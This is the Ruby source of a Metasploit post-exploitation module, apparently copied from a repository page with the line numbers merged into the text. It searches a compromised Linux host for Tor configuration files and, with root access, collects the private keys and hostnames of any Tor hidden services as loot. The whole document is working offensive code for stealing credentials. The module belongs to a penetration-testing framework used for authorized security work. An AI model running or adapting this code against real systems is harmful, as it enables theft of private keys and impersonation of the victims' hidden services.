Path: blob/master/modules/post/linux/gather/tor_hiddenservices.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4# Adapted from post/linux/gather/enum_configs.rb5##67class MetasploitModule < Msf::Post89include Msf::Post::Linux::System10include Msf::Post::Linux::Priv1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Linux Gather TOR Hidden Services',17'Description' => %q{18This module collects the hostnames name and private keys of19any TOR Hidden Services running on the target machine. It20will search for torrc and if found, will parse it for the21directories of Hidden Services. However, root permissions22are required to read them as they are owned by the user that23TOR runs as, usually a separate account.24},25'License' => MSF_LICENSE,26'Author' => [27'Harvey Phillips <xcellerator[at]gmx.com>',28],29'Platform' => ['linux'],30'SessionTypes' => ['shell', 'meterpreter'],31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [],34'Reliability' => []35}36)37)38end3940def run41print_status("Running module against #{get_hostname} (#{session.session_host})")4243distro = get_sysinfo44print_status('Info:')45print_status("\t#{distro[:version]}")46print_status("\t#{distro[:kernel]}")47print_status('Looking for torrc...')48find_torrc49end5051def save(file, data, ltype, ctype = 'text/plain')52fname = ::File.basename(file)53loot = store_loot(ltype, ctype, session, data, fname)54print_status("#{fname} stored in #{loot}")55end5657def find_torrc58fail_with(Failure::BadConfig, "'locate' command does not exist") unless command_exists?('locate')5960config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")61if config.empty?62print_error('No torrc file found, maybe it goes by a different name?')63return64end6566hidden = Array.new67# For every torrc file found, parse them for HiddenServiceDir68config.each do |c|69print_good("Torrc file found at #{c}")70services = cmd_exec("cat #{c} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")71# For each HiddenServiceDir found in the torrc(s), push them to the hidden array72services.each do |s|73hidden.push(s)74end75end7677# Remove any duplicate entries78hidden = hidden.uniq7980# If hidden is empty, then no Hidden Services are running.81if hidden.empty?82print_bad('No hidden services were found!')83return84end8586print_good("#{hidden.length} hidden services have been found!")8788unless is_root?89print_error('Hidden Services were found, but we need root to access the directories')90return91end9293# For all the Hidden Services found, loot hostname and private_key file94hidden.each do |f|95output = read_file("#{f}hostname")96save(f, output, "tor.#{f.split('/')[-1]}.hostname") if output && output !~ /No such file or directory/97output = read_file("#{f}private_key")98save(f, output, "tor.#{f.split('/')[-1]}.privatekey") if output && output !~ /No such file or directory/99end100end101end102103104